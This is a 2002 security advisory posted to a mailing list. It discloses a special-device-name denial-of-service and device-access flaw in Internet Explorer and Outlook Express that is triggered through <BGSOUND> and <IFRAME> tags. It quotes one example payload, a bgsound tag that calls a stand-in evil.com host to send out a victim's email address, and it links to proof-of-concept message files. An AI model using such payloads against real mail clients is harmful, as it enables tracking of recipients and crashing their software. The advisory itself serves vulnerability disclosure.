dH team & SECURITY.NNOV: special device access, information leakage and DoS in Outlook Express

From: ERRor (errorat_private)
Date: Wed May 15 2002 - 04:11:32 PDT

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    Original version of this advisory:
    http://www.security.nnov.ru/advisories/msiedos.asp
    
    Title:                     Special device access and DoS in Microsoft Internet
                                  Exporer/Outlook Express/Outlook
    Authors:              ERRor, 3APA3A
    Date:                     May, 14 2002
    Affected:              Internet Explorer 6.0
    Vendor:                 Microsoft
    Risk:                      Average to high
    Remote:                 Yes
    Exploitable:           Yes
    Vendor notified:   April, 24 2002
    
    Intro:
    
    All  versions  of  Windows have a reserved filenames referred to special
    devices such as prn, aux, nul, etc also called DOS devices. Filename for
    special  device may have any directory path and any extension after dot.
    For  example  c:\temp\prn.tmp  refers to prn device. Same API is used to
    access  special device and regular files. Unauthorized access to special
    device may be significant security issue causing different results: from
    Denial of Service against running program or service to hardware failure
    or secure data compromise.
    
    Problem:
    
    ERRor  discovered  that <BGSOUND> tag in conjunction with special device
    name  causes DoS against Internet Explorer or Outlook Express regardless
    of  security zone settings. For Outlook Express it's untrivial to remove
    malcrafted  message  without losing message folder.
    
    During investigation of this issue it was found by 3APA3A and ERRor that
    using <IFRAME> tag it's possible to send any data to special device.
    
    Another  problem  is  that  regardless  of security zone settings source
    specified in <BGSOUND> tag is always downloaded. It makes it possible to
    fingerprint  remote  client  by his e-mail using something like
    
    <bgsound src="victimat_private">http://evil.com/registerme?email=victimat_private">
    
    Remote client fingerprint problem is discussed in [4].
    
    
    Exploitation:
    
    You  can  use  [2] to test DoS against Outlook Express via <BGSOUND>. 
    [3] will  print  text  line  on  a  text printer, attached to LPT1, (in Outlook
    Express 6.0) via <IFRAME>
    
    1. Special device access and DoS in Outlook Express
       http://www.security.nnov.ru/search/news.asp?binid=2010
    2. Outlook Express Special Device DoS POC
       http://www.security.nnov.ru/files/iedos/dos.eml
    3. Outlook Express Special Device access POC
       http://www.security.nnov.ru/files/iedos/print.eml
    4. Security risks assoticated with using e-mail.
       http://www.security.nnov.ru/articles/uninet/
    
    Vendor:
    
    Microsoft was informed on April, 24  2002. No feedback from vendor since
    April, 25.
    



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